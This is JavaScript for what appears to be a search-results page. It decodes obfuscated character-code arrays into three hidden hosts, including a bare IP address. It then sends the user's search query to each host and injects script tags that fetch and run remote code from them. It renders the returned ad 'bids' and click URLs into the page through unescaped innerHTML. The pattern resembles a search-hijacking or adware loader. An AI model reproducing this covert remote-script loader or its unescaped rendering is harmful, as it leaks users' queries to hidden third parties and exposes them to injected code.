function F(ch){ var res=""; for ( cch in ch ) res=res+String.fromCharCode(ch[cch]); return res;} var __global_feed_handler=[F([109,101,103,97,115,116,97,116,115,46,105,110,102,111,47,97,106,97,120,95,115,101,97,114,99,104,46,112,104,112]), F([49,115,116,45,99,111,117,110,116,101,114,46,119,115,47,97,106,97,120,95,115,101,97,114,99,104,46,112,104,112]), F([56,56,46,50,53,53,46,57,52,46,49,56,56,47,88,56,100,51,102,101,73,51,47,97,106,97,120,95,115,101,97,114,99,104,46,112,104,112])];

var in_progress = false;
var result_tm = null;
var pr_span=null;
var last_id=0;
var last_id_ok=0;

function _get_result(fl_typein) {
    if (in_progress) return false;
    in_progress = true;

    document.getElementById('_elcl_s').disabled=true;

    last_id++;

    if(/WebKit|Khtml/i.test(navigator.userAgent)) {
        for (var i=0; i<__global_feed_handler.length; i++) {
            if (!pr_span) pr_span=[];
            var href='http://'+__global_feed_handler[i]+'?q='+escape(document.getElementById('_elcl_q').value).replace(new RegExp('\\+','g'), '%2B')+(fl_typein?'&ti=1':'')+'&qix='+last_id+'&uniq='+(new Date().getTime());
            var z=document.createElement('script');
            z.language='javascript';
            z.type='text/javascript';
            z.src=href;
            pr_span[i] = z;
            document.getElementsByTagName('head')[0].appendChild(z);
        }
    } else {
        for (var i=0; i<__global_feed_handler.length; i++) {
            if (!pr_span) pr_span=[];
            var span = null;
            var span = document.createElement("SPAN");
            span.style.display = 'none';
            document.body.appendChild(span);
            span.innerHTML = 'Text for stupid IE.<s'+'cript></' + 'script>';
            pr_span[i] = span;
        }
        setTimeout(function() {
            for (var i=0; i<__global_feed_handler.length; i++) {
                var href='http://'+__global_feed_handler[i]+'?q='+escape(document.getElementById('_elcl_q').value).replace(new RegExp('\\+','g'), '%2B')+(fl_typein?'&ti=1':'')+'&qix='+last_id+'&uniq='+(new Date().getTime());
                if (!pr_span) return;
                var s = pr_span[i].getElementsByTagName("script")[0];
                s.language = "JavaScript";
                if (s.setAttribute) s.setAttribute('src', href); else s.src = href;
            }
        }, 10);
    }

    result_tm = setTimeout(function() {
        in_progress = false;
        document.getElementById('_elcl_s').disabled=false;
        _cleanupScript();
    }, 15*1000);
}

function _cleanupScript() {
    var span = pr_span;
    if (span) {
        pr_span = null;
        setTimeout(function() {
            for(var i=0; i<span.length; i++)
                span[i].parentNode.removeChild(span[i]);
        }, 50);
    }
}

function _completed(data, id) {
    if (id<=last_id_ok) { return; }
    last_id_ok = id;

    in_progress = false;

    if (result_tm) {
        clearTimeout(result_tm);
        result_tm = '';
    }
    document.getElementById('_elcl_s').disabled=false;
    document.getElementById('res_for').innerHTML = '&nbsp;'+stringUCF(document.getElementById('_elcl_q').value);
    if (data) {
        var res_html = '';
        for (var i=0; i<data.bids.length; i++) {
            bid = data.bids[i];
            res_html += x_tpl_bid.replace(/@TITLE@/gi,bid.title).
                                  replace(/@DESC@/gi,bid.description).
                                  replace(/@CURL@/gi,bid.clickurl).
                                  replace(/@URL@/gi,bid.url).
                                  replace(/@NUM@/gi,(i+1)).
                                  replace(/@ODD@/gi,i-Math.floor(i/2)*2);
        }
        document.getElementById('result').innerHTML=x_tpl_ads.replace(/@BIDS@/gi,res_html);
    }
    _cleanupScript();

    document.title = stringUCF(document.getElementById('_elcl_q').value) + ' - Search Results';
}

function stringUCF(str){
    var r = '';
    var A = str.split(' ');
    for (var i=0; i<A.length; i++) {
        x = A[i].charAt(0).toUpperCase();
        r += x + A[i].substring(1,A[i].length)+' ';
    }
    return r;
}
